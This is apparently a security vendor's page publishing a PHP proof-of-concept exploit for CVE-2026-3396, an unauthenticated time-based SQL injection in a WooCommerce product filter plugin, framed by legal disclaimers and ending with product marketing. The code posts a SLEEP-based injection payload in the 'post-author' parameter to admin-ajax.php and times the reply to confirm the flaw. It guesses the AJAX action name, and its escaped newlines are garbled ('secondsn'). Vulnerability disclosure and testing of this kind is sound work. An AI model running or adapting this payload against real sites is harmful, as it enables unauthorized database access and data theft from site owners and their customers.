You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3396 - WCAPF – WooCommerce Ajax Product Filter <= 4.2.3 - Unauthenticated Time-Based SQL Injection

// Configurable target URL (WordPress site with vulnerable plugin)
$target_url = 'http://example.com';

// WordPress AJAX endpoint
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// PoC function to test time-based SQL injection in 'post-author' parameter
function test_sqli($url, $delay) {
    // Time-based SQL injection payload: if 1=1, sleep for $delay seconds
    $payload = "' OR (SELECT IF(1=1,SLEEP($delay),0)) -- ";
    
    $body = array(
        'action'      => 'wcapf_filter_products', // Replace with actual AJAX action from plugin
        'post-author' => $payload
    );

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($body));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
    $start = microtime(true);
    $response = curl_exec($ch);
    $end = microtime(true);
    curl_close($ch);

    $duration = $end - $start;
    echo "Response time: " . round($duration, 2) . " secondsn";
    if ($duration >= $delay - 0.5) {
        echo "[+] Time-based SQL injection confirmed (delay $delay seconds)n";
        return true;
    } else {
        echo "[-] No significant delay. Injection might not work or payload needs adjustment.n";
        return false;
    }
}

// Execute the test
echo "Testing CVE-2026-3396 on $ajax_urln";
echo "-------------------------n";
$result = test_sqli($ajax_url, 5);

if ($result) {
    echo "nVulnerability confirmed. The 'post-author' parameter is injectable.n";
    echo "An unauthenticated attacker can extract data using blind SQL injection.n";
} else {
    echo "nCould not confirm vulnerability. Target may be patched or plugin action name different.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School